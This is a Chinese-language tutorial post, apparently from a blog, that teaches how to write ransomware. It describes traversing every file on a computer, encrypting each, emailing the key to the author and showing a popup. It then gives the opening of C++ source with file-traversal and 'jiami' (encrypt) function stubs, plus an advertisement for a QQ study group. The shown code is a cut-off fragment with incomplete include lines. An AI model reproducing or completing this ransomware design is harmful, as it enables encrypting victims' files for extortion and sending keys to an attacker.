一、编程思路
什么是勒索病毒:
遍历你电脑上所有文件,并且用加密算法加密,然后把加密秘钥发送到自己邮箱里,弹出窗口。
工具:操作系统API,加密算法
思路:
1.程序设计 思路规划清楚
1.1 加密单个文件
1.2 遍历文件系统并加密文件
2.工程实现: 编程
3.测试上线 :、测试
欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包
二、代码解析// 文件遍历加密.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include
#include
//加密fileName这个文件
void jiami(char* fileName);
//遍历文件夹并找到每一个文件
void findFile(char* pathName);
int _tmain(int argc, _TCHAR* argv[])
{
//jiami("1.txt");
char buff[256] = { 0 };//2^8 char 8bit
GetCurrentDirectory(256, buff);
//printf("文件夹名字是:%s\n", buff);
findFile(buff);
while (1);//死循环 停顿
return 0;
<